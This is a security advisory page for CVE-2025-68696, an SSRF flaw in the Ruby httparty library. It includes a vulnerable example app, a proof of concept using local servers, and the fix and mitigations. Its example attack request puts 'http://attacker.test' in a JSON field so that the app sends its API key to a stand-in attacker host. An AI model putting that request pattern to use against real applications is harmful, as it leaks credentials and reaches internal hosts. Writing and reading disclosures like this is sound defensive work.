CVE-2025-68696 — httparty
Fix: jnunemaker/httparty@0529bcdCVE-2025-68696 is a Server-Side Request Forgery (SSRF) vulnerability in httparty. A fix is available for httparty — see the affected versions and patch details below.
httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-68696.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
httpartyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects RubyGems packages — download data is not available via public APIs for these ecosystems.
Description
Summary
There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers.
Details
When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate.
Consider the following example of a web application:
require 'sinatra'
require 'httparty'
class RepositoryClient
include HTTParty
base_uri 'http://exmaple.test/api/v1/repositories/'
headers 'X-API-KEY' => '1234567890'
end
post '/issue' do
request_body = JSON.parse(request.body.read)
RepositoryClient.get(request_body['repository_id']).body
# do something
json message: 'OK'
end
Now, suppose an attacker sends a request like this:
POST /issue HTTP/1.1
Host: localhost:10000
Content-Type: application/json
{
"repository_id": "http://attacker.test",
"title": "test"
}
In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test.
A similar problem was reported and fixed in the HTTP client library axios in the past:
https://github.com/axios/axios/issues/6463
Also, Python's urljoin function has documented a warning about similar behavior:
https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin
PoC
Follow these steps to reproduce the issue:
-
Set up two simple HTTP servers.
mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & -
Create a script (for example,
main.rb):require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts data -
Run the script:
$ ruby main.rb this is server2
Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/.
Impact
- Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts.
- SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running.
- Affected users: Any software that uses
base_uriand does not properly validate the path parameter may be affected by this issue.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 💎RubyGems | httparty | all versions | 0.24.0bundle update httparty --conservative |
Affected Products
httpartyjnunemakerDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for httparty, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update httparty to 0.24.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-68696 is resolved across your whole dependency graph.
Workarounds
Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is rated Important for Red Hat as it affects `rubygem-httparty` in Fedora. The Server-Side Request Forgery (SSRF) flaw in `httparty` versions 0.23.2 and prior could lead to the leakage of API keys and allow unauthorized requests to internal servers. This impacts applications utilizing `httparty` for…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2025-68696 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2025-68696 in your dependencies?
Find it across RubyGems, including transitive dependencies.